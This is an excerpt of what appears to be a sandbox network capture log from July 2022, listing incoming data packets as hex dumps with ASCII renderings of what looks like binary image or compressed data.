2022-07-20 17:31:07 UTC	5551	IN	Data Raw: 65 e3 be 42 9f 97 94 c0 c5 83 85 ef c0 1d 4f 51 34 e3 37 c1 d3 dd ff 00 2f 51 10 04 5b 52 36 df 3c f3 08 a5 8e 52 01 6e 91 13 42 ef cd 2c 9c da 93 22 3e aa 3f bb 8d d3 dc f8 eb c9 ef 66 74 7c 00 bd 8d e6 7c 5f 9b 5c de 96 50 88 46 43 a2 e3 bb 73 7d ae e7 4e 4a e9 ed 31 71 5c 9f a8 66 5a 78 73 1f 22 7c a8 e1 9b 1a 6e 90 91 21 75 69 04 b1 eb f7 50 6a 87 52 fe f1 3f 79 ee a8 cd 8d 7a bc 82 48 27 e6 0c a2 70 5b 2b 11 72 a4 40 13 a5 33 21 0b 72 1d 32 e0 f9 77 e6 48 e5 c6 79 d5 a5 82 2f e2 7a f5 cd 8a bc 6d c7 97 ee fd 23 29 6d 1b 2e 76 1c f0 ce 3a 2b 37 4f aa 8d a8 b2 e3 c2 ca 61 86 79 74 7c 49 25 d5 af 1f 1e 3f 8b 22 7b ce 44 ae da ae 3a 81 26 67 97 46 53 2f f2 b8 8f 46 2d 30 92 ec 11 a6 64 3c f3 b4 4f ef 3a 92 ea e7 79 2b 9f 3e 75 30 2d cd 1e 7b e3 e3 a3 99 Data Ascii: eBOQ47/Q[R6<RnB,">?ft\|\|_\PFCs}NJ1q\fZxs"\|n!uiPjR?yzH'p[+r@3!r2wHy/zm#)m.v:+7Oayt\|I%?"{D:&gFS/F-0d<O:y+>u0-{
2022-07-20 17:31:07 UTC	5567	IN	Data Raw: ae e7 dd da df 8a cb de af 0f 05 38 dd 4f eb f9 06 d8 5a 4c 4c 3f 7b 0c 50 10 aa 01 71 19 b6 a2 dc cf fc 44 af a8 4d 3d 08 05 ec 9b a6 23 6b c5 89 34 08 98 97 55 6e 54 53 c9 d0 78 bb ee da 79 e3 f8 95 74 0a b2 2d ef 63 cb dd 59 c6 22 75 30 86 90 8c f6 1a 18 72 f5 71 62 8f a7 ff 00 6e 7a 9b e3 e5 b0 e0 c9 6f 3b 6c d0 c2 37 30 ed 2a 47 23 42 f2 c8 7d e7 51 5b 42 a3 2f 37 75 fb 9e bd 3a 52 34 1a 2c 6d fb 12 e7 27 5a 6c 95 c3 85 ee 75 c8 39 9d d4 7f 99 9d 7a 9a 35 aa cd ee ea 90 48 31 5f 24 c3 2a 63 96 61 15 cb c8 a3 b8 97 f7 53 ca ff 00 87 d5 fc 38 e9 f1 53 23 93 b9 7b 9e 5c fb 6c 7b 7b a4 3d 3c 58 c3 21 43 c4 23 f2 7b c4 e6 56 c8 77 5d 6e fe ed fd 8a d1 81 57 6f ce 64 81 d2 65 ea c4 89 a1 14 9f 19 f8 72 33 f7 da 28 7f 27 b9 49 ad 40 97 17 6e 9f ad 0c 4d 11 Data Ascii: 8OZLL?{PqDM=#k4UnTSxyt-cY"u0rqbnzo;l70G#B}Q[B/7u:R4,m'Zlu9z5H1_$caS8S#{\l{{=<X!C#{Vw]nWoder3('I@nM
2022-07-20 17:31:07 UTC	5583	IN	Data Raw: a4 25 8a 90 ad d2 d5 23 f2 eb 69 6b b6 8d bd 58 8d 88 dc f0 e4 3a 56 55 d7 6b da f6 3e b7 8a ba 55 d7 c4 1d 41 1b 8e f8 57 1e 3c 9c 41 a8 3b 90 09 1e a0 f7 8b a2 9f 3f 80 40 73 52 48 a1 c5 8a b2 83 fe d1 56 99 30 52 fe 65 16 3c 8f d7 2a b1 31 05 64 f4 03 dd 78 24 fe b4 75 0e f0 c7 03 f1 b7 28 f2 f3 a3 45 75 18 f1 5d 8d 98 16 96 e3 42 b6 9f cb 4a c6 d9 52 19 8e dc 76 0d d1 f2 24 ca c9 81 58 cf 21 54 74 65 2d c0 fb 94 7f cb ea 47 50 f3 55 f8 8c 06 e6 48 09 8d d4 ab a1 2b 63 c0 dc 1e 7f bc b5 ae 8c 07 62 6d 19 fb 91 07 1a 17 91 4d f9 c0 e4 b8 f0 f5 9b dd d4 db 25 6b b8 40 63 6c f2 e6 e4 af d3 92 25 8c 29 d5 ad c8 21 4f 75 64 e5 e6 99 7f 73 1d 61 7c d5 7e 22 80 a6 f1 b4 cd b6 e3 3e 56 36 43 3f 4c 87 40 e0 2a 4b 28 f7 7f f4 51 72 68 8f f0 fa da e8 ae 65 30 bc Data Ascii: %#ikX:VUk>UAW<A;?@sRHV0Re<1dx$u(Eu]BJRv$X!Tte-GPUH+cbmM%k@cl%)!Oudsa\|~">V6C?L@K(Qrhe0
2022-07-20 17:31:07 UTC	5591	IN	Data Raw: a0 69 30 b7 a5 cd 8c c3 97 36 86 65 3a 64 7f 0b 0e e4 6d fb ba e7 75 d4 72 0f 97 7c c7 56 51 08 68 f2 23 b1 f7 8a 19 0f 0e 76 f6 9b 55 0e ae 09 33 f2 e4 75 4b 16 b9 72 c4 9f 4d 26 a0 c9 93 ed 4d 08 9c 36 4a eb 8c 02 4a 9b f3 f0 e4 8b 93 9b bf e2 a7 54 9b d4 48 3d 83 e4 e4 de 1b ab 8c 0c 28 10 3b 81 20 6d 17 d5 a2 3d 72 77 fb 9e f2 ba d6 14 cd 20 b6 be 42 cc c7 68 e4 98 34 85 48 62 b1 95 60 47 79 74 2f 2b fd b4 a1 61 48 20 97 60 dd 22 c0 cc 97 1d 75 43 04 92 13 d2 3f 83 23 7e 22 af e4 49 dc fd df d8 aa 4d 2d 07 23 bc fe 64 7d b9 4c 4d 60 b3 02 e0 5e ec b6 d1 fa a9 25 5d 80 a9 e5 dd b9 b0 b1 93 71 de 48 8a 12 6d 8f 1f 8a 52 46 be ac ff 00 bb d3 e0 fd 7a 94 a0 08 b7 0f 34 e3 4d 97 32 4c cc 86 f6 8d d5 75 2a ad b9 52 45 5f 6f f2 e8 e6 04 db 3e fc 71 ba 91 e5 Data Ascii: i06e:dmur\|VQh#vU3uKrM&M6JJTH=(; m=rw Bh4Hb`Gyt/+aH `"uC?#~"IM-#d}LM`^%]qHmRFz4M2Lu*RE_o>q
2022-07-20 17:31:07 UTC	5607	IN	Data Raw: 05 ad ca 54 fe 22 c9 fd 8a e2 56 f8 80 37 7a 81 a3 d2 0a d8 8b 9b df 98 8f 51 a3 f8 6b 5d 7d ad d3 00 52 eb 3d b5 dc e0 0b 79 7d 58 d5 25 6b 85 65 1c 6f 7d 56 fb 3e 0f b7 58 d2 1e 80 3a 2c 95 61 c1 78 f0 a8 bd 18 c3 50 e7 45 1b 46 03 37 05 1a cf d3 27 79 9a 1f 51 7c 15 e5 de 9f 04 30 c4 ad f3 03 a8 41 8e 40 6f ea 9f 5a 39 3e dd 72 5b a5 80 1f 6c ce 9b 6f 91 e1 c4 d2 e2 49 3a 9a 9e fd 5d 51 8e 4d 32 4a c9 d3 8e 27 ee 7b 75 ef 60 ee 5a ac 32 95 a1 0b 27 26 59 71 22 0a 19 9d 44 cc c7 c5 1b ca 79 fa 8f dc 9b 56 8d 68 fe 0d 7a 2b 4b 5e 74 21 b9 02 ce cb 1b 2a 44 e5 f5 22 b4 9c a5 02 3f 8a 14 d5 f1 a3 8f f3 a9 da a8 47 60 3d 63 a4 5a fe 9f f7 6b 1b 2e 22 0b ed 19 32 21 91 48 89 b5 58 00 ea 4e 90 83 e2 e8 5f 74 df 61 eb 0b a4 8a 45 3c 8c c4 55 10 82 6e a2 ce e9 Data Ascii: T"V7zQk]}R=y}X%keo}V>X:,axPEF7'yQ\|0A@oZ9>r[loI:]QM2J'{u`Z2'&Yq"DyVhz+K^t!*D"?G`=cZk."2!HXN_taE<Un
2022-07-20 17:31:07 UTC	5623	IN	Data Raw: 14 0e a8 e5 75 53 cf a1 7f 2f 47 fc cf 1d 75 56 b0 64 d8 ef 32 6d 8f 8f b7 a4 d0 1d 2d 0c 8a ed 6e 2d c4 f4 e4 e9 fe f3 a3 c9 4e d5 0a b2 ee 16 7c 78 c8 31 83 24 9a 4d db 49 b9 17 34 49 25 6d f3 cc 19 18 45 f2 71 53 ab 04 42 d2 5b e9 f0 b7 f0 ff 00 33 45 53 d0 12 2b ed 79 d8 b9 d3 89 99 84 48 21 b6 82 48 60 64 3a e5 68 5b f1 13 97 dd d2 45 30 6e f7 9f 26 dd 3a 47 08 ea 06 3a 41 37 16 3d f4 d4 9f d7 a1 b8 10 5f 13 28 ee 3a 5b 22 2d 73 c8 0a b2 86 07 41 43 a5 de 39 3c 1f 99 cf 52 ad 21 b1 36 3e d7 d3 88 4e cd c8 38 f1 e6 63 a4 d3 e2 37 60 d4 70 c3 2e a9 63 3c b2 0e 25 7f ad f6 aa e4 83 35 9d 26 72 c8 71 72 18 04 5e 60 ab d8 cb 7f 75 af 57 3d 67 66 5a 2e 79 75 86 59 9b aa 01 11 b0 51 fa 6d d4 d5 fb 54 55 05 8a fb a7 93 23 cf cd 7c e1 27 48 d8 0d 2a a0 86 f6 Data Ascii: uS/GuVd2m-n-N\|x1$MI4I%mEqSB[3ES+yH!H`d:h[E0n&:G:A7=_(:["-sAC9<R!6>N8c7`p.c<%5&rqr^`uW=gfZ.yuYQmTU#\|'H*
2022-07-20 17:31:07 UTC	5630	IN	Data Raw: 1d 6d ef 28 58 7c 7d 01 24 f8 d9 97 71 a9 52 d6 e5 e6 16 d5 f8 7a 9b f0 b4 fa 95 36 c5 01 25 0d db 11 a4 91 9b 21 0b 90 b7 e0 08 69 1b f0 e1 8f d4 c7 d7 ef 24 78 fe 26 8a cd 69 b1 37 52 67 36 fd c1 f6 d9 9d 99 35 87 8c c7 62 38 a9 bf c4 5f cb fd e2 27 c4 ae 8b d3 9d 60 e6 27 29 18 61 ad 5b 54 96 3a bd 05 58 f7 e2 d7 ea fa f5 92 98 24 7e 59 11 fb 88 ee 0d f9 ca b9 6d 45 7b 8b c9 ee fa 5f 8b 51 55 3a b0 16 04 2b 90 1f 5b 69 d0 b7 50 79 75 fe 62 23 fb 15 96 6d 36 1a 08 74 a7 7b 88 c3 69 2a 17 42 f1 d4 bd ee 82 af 79 bd 7a e3 57 2a 08 21 ce c7 b1 59 21 04 9d 5c 4b 9f 4f 83 47 c0 8f 4f af d3 ae 97 8d c6 82 90 4e 66 2c 4a cd d9 75 ed b1 bf ed 57 7e 2b b8 24 d5 18 d1 d5 57 1f 50 89 10 59 c9 1a 55 7f 09 a2 83 bf de f8 b5 e4 d9 37 ab 35 32 b9 19 4f 23 13 c4 bb 5c Data Ascii: m(X\|}$qRz6%!i$x&i7Rg65b8_'`')a[T:X$~YmE{_QU:+[iPyub#m6t{iByzW!Y!\KOGONf,JuW~+$WPYU752O#\
2022-07-20 17:31:07 UTC	5646	IN	Data Raw: 55 55 1a 36 bf ac 34 cd ca df 12 1e a2 fe 25 76 57 b7 4b a7 f5 c3 97 88 66 1f 2e 46 b8 a2 13 2b bb f0 02 53 62 c1 7f 29 3d 58 bc 15 bd 71 c2 87 d4 0f 26 a4 67 07 6a c1 72 ef 18 43 dd 1a ee cb 73 ea ab ea 5e 7f 5a af 82 42 e4 d9 36 4e e5 a4 2a c1 60 87 81 20 55 49 30 33 0e 68 ca 3d c8 79 35 58 00 6f 71 eb aa d3 02 1c 9f 30 e5 61 4c 22 97 1f a8 bc 08 64 71 7d 07 c7 d0 6e 7e a2 fe 5d 66 ec d7 80 d5 53 1f 99 bc 09 14 95 b8 bd ac b6 b3 5b d6 aa dc 51 05 38 32 b5 31 8d dc a8 fa 07 1d 37 ee 48 eb f9 54 d8 20 86 dd bc 89 c7 16 5b a9 d2 dc 45 81 fb 5e df 82 92 63 68 97 74 de b1 71 a3 25 a5 44 51 da e5 80 00 fa bf 6b d8 a7 c9 22 52 18 fb e7 75 86 80 08 0d 62 d6 7b 37 e2 68 f5 2a 79 0d 54 a3 9d 90 c6 51 a8 69 61 60 a1 3d 07 be ad 4c 08 76 6c 6f 99 cb 91 32 d8 39 b9 Data Ascii: UU64%vWKf.F+Sb)=Xq&gjrCs^ZB6N` UI03h=y5Xoq0aL"dq}n~]fS[Q8217HT [E^chtq%DQk"Rub{7hyTQia`=Lvlo29
2022-07-20 17:31:07 UTC	5662	IN	Data Raw: d9 b7 0d cd 83 e1 34 23 a5 a4 a0 e2 b3 31 bf 36 9c 9f 87 1e 8e fe 8f c5 a0 41 fc 6c 35 c7 4e 9d f5 b5 b9 98 8e f3 78 9a ae 49 64 b0 06 81 6d 23 02 c4 93 c3 f6 6a 2d a9 68 c9 e0 6e 59 59 d9 cf 0f cc 4c ae ee 74 05 53 d0 1a 47 34 73 47 a7 dd b3 f8 3c 75 91 a4 1a 7d 8e 5c 89 30 22 9b 36 3e 96 4b 83 ad 2d a7 4d 8e 98 fd df 87 5a 50 f5 10 45 36 e8 e2 9c 64 ce c6 37 90 74 80 6e c2 dd fe 5f b5 52 d1 52 2d d7 67 93 2d 42 c2 63 8d e3 1c a5 81 61 a9 bb fd 4d 1d ea 9b 56 4a ad a0 17 89 e4 09 53 5a fc f3 32 b0 bd c2 05 7d 7d ee af 55 7b 8e bf 86 f1 f3 d1 c0 bf 73 f4 19 0d f7 73 dc b6 cc e5 87 2a 54 19 40 88 e5 61 18 1e e9 ad d3 92 55 ee 64 a3 f7 fa bc 94 40 4f c0 59 7b 2d 80 95 24 5c 89 f5 86 90 e8 28 7d b8 a3 6f ca d1 ea d4 c8 a2 49 70 37 b3 e5 d6 92 29 f1 de 46 94 Data Ascii: 4#16Al5NxIdm#j-hnYYLtSG4sG<u}\0"6>K-MZPE6d7tn_RR-g-BcaMVJSZ2}}U{ss*T@aUd@OY{-$\(}oIp7)F
2022-07-20 17:31:07 UTC	5670	IN	Data Raw: 04 7d 06 86 05 18 b6 e3 11 71 19 21 6f 75 1d bf b5 52 5b b4 96 b1 cb 2a e8 7e 2c 2a 89 62 c9 c3 8f 24 11 20 bf 0e 02 fe 9f 5b ed 52 6a 41 38 04 f4 86 3c 62 01 c7 49 37 bf ad e2 ac e0 b6 e4 e0 6b 76 55 08 af 93 98 cb 60 09 b8 bd ea d5 48 6c ab 1e e1 22 8e 0c 47 02 00 00 7a 7d ad 3d 4f da a4 e8 57 b8 55 79 1e e4 af 69 fa 3b 6f 44 22 79 30 6c 19 9f 37 21 8e 06 2b 7b 9f a7 b3 bd 4d a0 91 d2 6d 3d 71 d1 cb 63 24 1c ab a4 72 b1 1d e9 27 9e 6f c6 9f a9 e1 f8 54 40 a4 9f 0f 66 6c 65 e9 c3 90 e5 82 e9 8e 59 94 48 50 1f dd f2 75 29 30 92 2f 2e 45 97 8b 8c d8 f9 8c 1e 51 2b 95 6d 57 67 8e fc 93 49 ea 78 fe c5 31 14 f7 0f 32 62 95 31 62 3f 56 6d 43 82 dc 2d 87 34 9e f7 4f dc 4d 15 95 f2 24 b4 2e a8 27 e5 dd c4 e4 ed 41 e3 7e 6d bc b1 62 cb a8 f1 0c dc af dc 6d 11 49 Data Ascii: }q!ouR[~,b$ [RjA8<bI7kvU`Hl"Gz}=OWUyi;oD"y0l7!+{Mm=qc$r'oT@fleYHPu)0/.EQ+mWgIx12b1b?VmC-4OM$.'A~mbmI
2022-07-20 17:31:07 UTC	5686	IN	Data Raw: 46 a7 c7 a4 e2 cf 55 21 97 58 b0 62 21 15 86 91 6b 5f 55 4a 4e cc 74 4e ee 01 d0 67 00 86 69 23 0e f6 2b a4 8e 06 ff 00 b5 cb 5a df 1e b0 99 db 7c 4d f4 a7 c0 17 1e 43 63 71 8c d9 8f 69 f4 d5 d9 4e e7 43 aa 88 7d 45 e8 f7 dd 11 da 4e 2d e8 3d 84 ff 00 bd 58 3c 72 f4 39 ef 86 b3 25 06 95 e5 05 53 82 76 85 bf 01 5a ec 74 24 53 db b6 a3 1e 4a 99 bd e5 cf 00 0f a4 fd 9a c9 56 35 38 29 db f0 7c ad 60 9e 4c 52 2b d8 83 62 78 55 ab 1e 95 2e 9a 39 85 3c 08 da a4 90 2b 2b 00 56 c4 b5 bd 7a 4e de 06 39 72 cc d5 05 37 ed c9 22 c6 49 04 a0 c4 5c 72 8e 12 76 77 fa 6d cd a1 3c 75 95 1c 3d 51 e6 63 6b 1b 9b 57 a8 1f b7 ce f2 c4 d2 63 d9 ae 2e 2e 7b 3d b6 4a de cd 33 d0 b5 eb 74 9a 2b bf 97 32 19 ba f2 95 37 e3 6b f6 56 7c 93 67 32 87 69 64 62 1d 0d d2 72 10 8f 41 ec fd Data Ascii: FU!Xb!k_UJNtNgi#+Z\|MCcqiNC}EN-=X<r9%SvZt$SJV58)\|`LR+bxU.9<++VzN9r7"I\rvwm<u=QckWc..{=J3t+27kV\|g2idbrA
2022-07-20 17:31:07 UTC	5702	IN	Data Raw: 29 9b 3c 4c 68 a4 7b ca 48 1c 2f 6f ec d4 b7 00 8b f0 e3 47 11 e7 51 25 96 ec eb 7d 6a 3d 54 f1 e9 f5 ea 4a 29 cb 09 c6 46 9c dd 50 5c 8e 04 93 c3 a8 9c 89 cf cc 95 52 00 7d af cd 33 6e 27 f9 9c 08 13 12 ec 81 e4 bd c9 03 92 6c 95 4d 5d 2d 6d c9 ea 54 26 54 1a ec 9c b8 f3 f1 fe 55 85 e4 95 35 22 df ea d6 ac ec bf 0f d8 a6 f5 d0 4b 4d 4c f7 9c 61 59 76 b7 79 4c 8f 3e 92 a0 f0 45 6f 0e 89 a1 fc b4 d7 f0 ea 1a f1 65 26 0f f2 e6 f7 f3 fb a2 60 18 3d da 45 a3 b0 58 ba 69 f7 92 a7 72 28 7a 5d 4e 94 35 34 72 55 94 1a f9 b6 e0 99 00 47 a5 95 d4 80 a6 f6 1e cb 69 f0 56 b0 67 20 5d e7 cb 5b 9c 93 41 8d 80 f1 88 19 58 4f 2c 9f 11 6f ff 00 d6 48 bf 0d fa 7a fd 8a 1a 04 d1 4b cc 9e 52 c3 c1 d8 a4 fe 5c a1 26 47 46 0e dd b2 90 74 2c 4d 27 e0 c5 27 a9 f0 a8 75 49 40 a6 Data Ascii: )<Lh{H/oGQ%}j=TJ)FP\R}3n'lM]-mT&TU5"KMLaYvyL>Eoe&`=EXir(z]N54rUGiVg ][AXO,oHzKR\&GFt,M''uI@
2022-07-20 17:31:07 UTC	5710	IN	Data Raw: 3b 3d 41 55 e4 7d 4b 89 c8 37 de b2 31 5b 07 16 d2 0f a4 55 3c 70 16 ed 61 af 94 15 be c6 b2 e2 19 18 da c7 57 13 4f c4 b6 a3 43 3b 8f 08 40 24 53 f4 d8 d5 15 8b 1a f3 22 29 71 d6 47 56 6b fa 6f fd 34 35 26 19 71 2b 34 d9 3c 50 c7 0b 2a 0b 05 1c 7f de a6 8d 6b 4a d3 44 13 83 6f eb 46 65 73 a5 41 f4 8e d1 eb 53 77 8d 0e 9e 52 52 dc b6 f3 2c 65 a0 25 98 71 00 76 e9 f1 50 f5 30 ee b1 bb 2d 3c c5 cc 48 57 0b 06 33 13 33 4b 21 bb df fa 9a 2a 69 59 7a 99 76 d8 fe 22 09 2d f5 90 78 1b 5f eb ae 8d 36 3d 3e 4b 60 e4 3b 7e 36 3e 2a e6 66 de 53 da b1 f6 2a df bb ad bb fa ff 00 62 b9 2d 66 df 1a 9e 55 ef 6c 97 f6 e9 d1 fe a1 13 79 81 a1 52 31 97 4d ef 7b 9b d1 ec fc 4e 9f e8 a7 ce f9 19 ec c9 25 cc 63 c4 92 7e 8a 1a 36 bd 74 8a 90 c3 8d 97 04 80 e3 b3 af a7 b4 81 71 Data Ascii: ;=AU}K71[U<paWOC;@$S")qGVko45&q+4<PkJDoFesASwRR,e%qvP0-<HW33K!iYzv"-x_6=>K`;~6>fSb-fUlyR1M{N%c~6tq
2022-07-20 17:31:07 UTC	5726	IN	Data Raw: 5d fa 72 fb 5e 3f 1f 82 a1 fc 40 f4 26 51 19 25 49 00 91 60 4d c2 d3 43 1b b4 6f f8 7b a1 68 20 72 67 8b 57 51 0f 87 4b 74 95 99 fb 9e fb f0 a8 5a 01 a4 c1 92 59 c7 40 5b 41 1c 41 fa 29 81 7f 19 e3 81 c6 2c 63 4a 20 e5 1d 80 0a a1 1e 5d fe a1 6d f8 58 41 37 0c 14 e9 34 b2 95 70 07 24 87 e2 75 a4 f0 c2 de ae 8f 8b 51 6a c8 c7 79 13 75 12 ed e3 15 a3 71 f2 d7 bc a7 b8 fa 99 a4 58 d7 c5 d5 4f 52 98 83 b0 ee 91 64 4a d1 42 ac 42 00 43 32 95 07 c3 2a f3 af 2f 4a 92 18 0b 70 c2 78 77 a8 b7 1c 92 24 5b 94 c5 4e cd 00 0d 7a 7d a7 e6 79 69 48 1b ad bf 00 e4 80 c3 80 61 7b 9f d1 57 b8 00 77 bf 2f 4d 2e 54 9b ca a8 00 c6 b1 01 7b 81 1a 6a f0 fe f6 95 90 d1 9b ca d9 a3 9d 4a cb 1e 92 6c 14 ba e9 e1 ea ff 00 0b db ac 5d a0 a0 56 4e ee 7c b5 36 46 0e 46 3b 06 4d 37 42 Data Ascii: ]r^?@&Q%I`MCo{h rgWQKtZY@[AA),cJ ]mXA74p$uQjyuqXORdJBBC2*/Jpxw$[Nz}yiHa{Ww/M.T{jJl]VN\|6FF;M7B
2022-07-20 17:31:07 UTC	5742	IN	Data Raw: 79 53 ff d5 cd 79 8c 4d 26 42 49 3c 4d 1c 8b 0a 07 52 34 d9 ae fc ff 00 61 fc 15 91 04 9b 26 e7 97 8c b1 c7 8b 23 22 a9 66 b0 1a 97 9b e2 b3 a7 fd b4 56 77 6d 00 36 6c 99 33 b2 e5 60 4b 3c 8c 48 e1 c4 db d9 5a b7 a2 02 41 9c d2 24 6a c7 52 40 09 42 de 8d 67 53 a7 d8 d6 b4 b6 03 53 b7 1c ad fa 67 c9 ca 92 4c 38 a3 2b d1 f9 7d 2a 4c 9f 88 ef d4 5d 5a 34 77 2b 7a 83 08 e2 6c f0 79 6e 39 a5 95 fa f8 d3 3a 09 09 43 ad 6e 7e 3b 68 6e 44 59 5f 5c b2 56 c8 c9 87 72 f3 c6 14 32 cf 22 b1 8f 1e 3e a3 68 b1 ba 7e ee 87 a0 15 70 b6 e5 12 4f ba e1 2b 99 32 95 5c ab 9e 0b 7e 7e 45 f0 75 3f 16 89 4b 71 aa c8 4a 08 e4 96 ca b6 2e 7e 8e ce 1d fa 4d c1 4a a7 4e 37 4f 54 87 48 0c 4b 31 ec bd bc 6f 4b 90 71 04 e7 e7 c3 24 65 6c 44 6f c0 9d 7d 36 0b f9 d1 37 fe 9d 52 d0 5c 49 Data Ascii: ySyM&BI<MR4a&#"fVwm6l3`K<HZA$jR@BgSSgL8+}*L]Z4w+zlyn9:Cn~;hnDY_\Vr2">h~pO+2\~~Eu?KqJ.~MJN7OTHK1oKq$elDo}67R\I
2022-07-20 17:31:07 UTC	5750	IN	Data Raw: f2 50 fa 6c 66 95 72 30 a5 62 f7 59 10 70 bd 64 dc 33 c2 56 b6 2b 6b e6 35 98 3e 6a 21 02 4d 01 0e 05 c3 6a 3f d4 d3 42 ea 3b e9 5f 73 ea 03 33 b3 64 76 39 00 86 6e db 35 6d 30 8e cc 8f 85 66 be 80 5e cf 93 93 95 3b 1c 7e 0d c4 9b 9b 2d 8f 2e 9d 35 8b 96 78 58 32 64 cc df 16 0d dd 56 5c 4c 97 8a 51 62 a6 d6 f4 7d da 49 1c 79 ed 6c 76 ea 34 1b 6e ef 8f 95 82 21 91 02 14 b2 93 7d 24 fd de f5 35 a1 e9 76 dd cd 6f 5f 90 a5 2a 29 21 a1 ba 71 fa 68 e4 3c 8f 5e 90 76 e5 98 26 d4 58 12 d7 b6 a2 79 b8 50 aa 79 3d ce 7e 5a 03 16 39 24 bb 2a 96 03 b4 81 7a b3 81 55 bd 42 d8 c4 3a 8e 04 5a a7 89 ed 76 ae 50 fc 88 23 64 d2 38 5f bc 69 a3 6c f8 ea d4 22 5d 9f 0b 44 6d 2f a0 9b 0a b4 6b f9 76 05 54 df cc 15 93 6f 49 53 4b b0 23 e8 bd af f7 a9 b5 27 a7 97 0a b2 83 23 9b Data Ascii: Plfr0bYpd3V+k5>j!Mj?B;_s3dv9n5m0f^;~-.5xX2dV\LQb}Iylv4n!}$5vo_)!qh<^v&XyPy=~Z9$zUB:ZvP#d8_il"]Dm/kvToISK#'#
2022-07-20 17:31:07 UTC	5766	IN	Data Raw: d5 7e e6 8a ac 97 aa 8f e5 fb 7e 8f ee 7f 98 00 af 29 6d 79 1e 5a dc 97 6e 0e be f2 25 95 9e c5 af 72 51 60 d3 df f7 8d d4 7e b5 24 df 25 67 d1 6b fd 50 2f f9 bf 71 7c 1c 26 3b 30 0c 72 24 56 43 19 1a 64 2a 7f cc e3 7a ba a4 4f bf ea 56 aa f5 ab d3 c9 93 d6 34 1a 87 69 69 e2 8b 27 72 d3 3c bc 2e 8d c5 54 db 9e 28 e4 f1 c6 8f e2 74 ae bb 24 f5 60 79 26 f3 e5 a9 06 06 34 78 b0 09 26 9b 23 29 89 56 07 4c 48 dd 18 d3 d5 f9 7d 5e fb ad 50 b2 25 bb 1a 60 9f 2d ed f9 4d 9d 13 c2 2c b1 9b bb 93 a5 04 67 91 fd e7 75 f5 f8 34 77 e9 df 2a aa 92 f9 c1 b3 12 2e 99 17 92 53 a8 80 e0 ea 52 be 0e 5f cc 4a e1 be 59 d0 6f 24 99 ed c3 20 c2 e1 63 d4 0f a6 c7 f6 56 b4 c5 59 5a 98 94 24 6c 8c 96 63 21 65 1e 8d 7d 9f 66 ba 94 57 60 2e 63 e4 26 34 02 22 38 71 2d f5 d7 3d ea ec Data Ascii: ~~)myZn%rQ`~$%gkP/q\|&;0r$VCdzOV4ii'r<.T(t$`y&4x&#)VLH}^P%`-M,gu4w.SR_JYo$ cVYZ$lc!e}fW`.c&4"8q-=
2022-07-20 17:31:07 UTC	5782	IN	Data Raw: 63 7b 2c d1 fc be ac 57 0c bd 81 83 6a e1 ea fd aa ce bb ea 74 e2 ea 7a 99 fc 8c 92 d2 8e 6e ef 01 5d 10 8f 56 b5 48 66 7c e3 16 31 22 5e d2 5d 4b da e9 fc 36 ac 6d 6f 89 c7 9b 2a a7 98 cf 67 66 86 2b 1f a9 da 7f ab fa b5 8a d4 f9 fe eb b9 e7 d2 bc b5 22 eb 0e f2 fd 16 22 8e 27 0c 91 86 21 c4 a0 71 16 20 fe 8a bd 84 de b2 12 c9 de 93 22 12 a5 6c e6 c7 ea bd ea 60 d3 fa 8d 01 83 20 cb c8 ab 72 7d 02 9c 41 9f 3e 41 4d b3 09 0c 64 b8 d4 58 76 1e d0 3d 9a ca ec f4 3b 6c 29 ae a3 35 96 ec 92 b2 82 40 04 81 5b 2d 8f 17 26 8d a2 38 27 28 c1 9b 88 07 b2 8b 29 22 ac 7c 71 75 9d 8f 67 a6 9e c5 56 bc 98 58 c9 17 cb b4 6b 71 c0 5a ff 00 b5 58 c3 99 3d 49 4a 90 81 aa 4b b6 81 d8 78 56 cd 1e 6a 6d b8 3d 27 64 dd 31 f3 71 40 c8 4e 8f 46 c8 d7 3c 38 0e f2 2f 7a a6 5f 81 Data Ascii: c{,Wjtzn]VHf\|1"^]K6mo*gf+""'!q "l` r}A>AMdXv=;l)5@[-&8'()"\|qugVXkqZX=IJKxVjm='d1q@NF<8/z_
2022-07-20 17:31:07 UTC	5790	IN	Data Raw: ed 52 e2 7a 15 ce ec e5 96 fe 66 3c cc 81 f3 32 f1 73 c5 8f 1a b4 e0 ec 79 29 b4 9a 78 36 dc 68 a2 e9 a4 8a d1 ad c9 6d 43 87 df a4 ae 75 63 ce a8 8c d6 e5 27 cf c8 ab 70 04 6a 54 1f a4 5f be b4 9d 8f 3f bb ba ca f4 0b ed 7b 90 c6 d0 0d b4 05 2a 7d 1c 3d 5f b1 59 b6 74 d3 3d 55 61 99 3c f7 d1 33 04 16 1f 45 aa 91 f3 fd c3 9b 38 29 75 ec 6d f4 53 83 9e 4e c9 27 54 70 27 eb 14 96 81 32 43 1f 23 02 c3 85 53 d4 16 85 e1 ba 30 e4 52 40 3c 3f a2 a3 81 d0 bb 8b 2d 10 67 ca 9b 7f cf 66 75 64 41 24 31 82 5b 50 e1 73 dc a0 d7 0a 97 26 97 2b 20 c6 e8 a8 15 15 7b b6 16 0b 5d 35 aa 83 eb f0 e3 49 0a 45 49 e3 13 64 91 a9 01 b3 31 ec 26 a7 67 a1 8e 4c 75 4f e5 21 76 75 c6 6c cc 80 52 35 1c 0b f0 d7 ea 69 4e f5 37 91 2d 11 9a ef ea 8c bc bb 9c b3 1d 51 f2 af d5 58 db 23 Data Ascii: Rzf<2sy)x6hmCuc'pjT_?{*}=_Yt=Ua<3E8)umSN'Tp'2C#S0R@<?-gfudA$1[Ps&+ {]5IEId1&gLuO!vulR5iN7-QX#
2022-07-20 17:31:07 UTC	5806	IN	Data Raw: 92 d0 f9 01 38 e1 d7 b5 4b 0f e8 ef 50 96 a3 65 fd b8 5f 1d 5c 80 19 c5 cd ab 7a a8 3e e7 f2 dc 2a 98 93 fe 66 5e bb 85 30 59 5c 34 12 77 1c 10 7f bd 4e fa a9 3a bb 8c 7c ea 53 c4 c1 93 0a 76 ba d8 69 64 d5 eb 0f 0e 9f 5b 55 61 63 e1 3b be dd e3 7f 50 d0 f9 7b 2e 1c 69 8b 4b af ab c3 a6 05 b4 1f cc 59 9d b9 96 a1 ea 72 e2 70 c8 b3 fc cb 8a 27 d1 96 74 02 6f ab 8e 9f f9 6a d5 ad 5f 1d 8f a5 a6 75 8d 4a 40 f4 de 62 c9 ca d3 01 2f 05 f8 35 88 bd bd 54 7f 56 b4 e6 5f f5 da 06 b7 2c 28 b7 d8 e3 d7 20 88 a1 3e f3 4d cb 16 f0 bf 76 b0 88 3c 8b 53 dc 7d 25 7d 97 03 0b 6b c8 f9 bf 98 66 96 22 c1 03 28 55 3e 0d 6c fe be 9a 70 55 70 41 a1 dd 21 83 73 89 5d 00 93 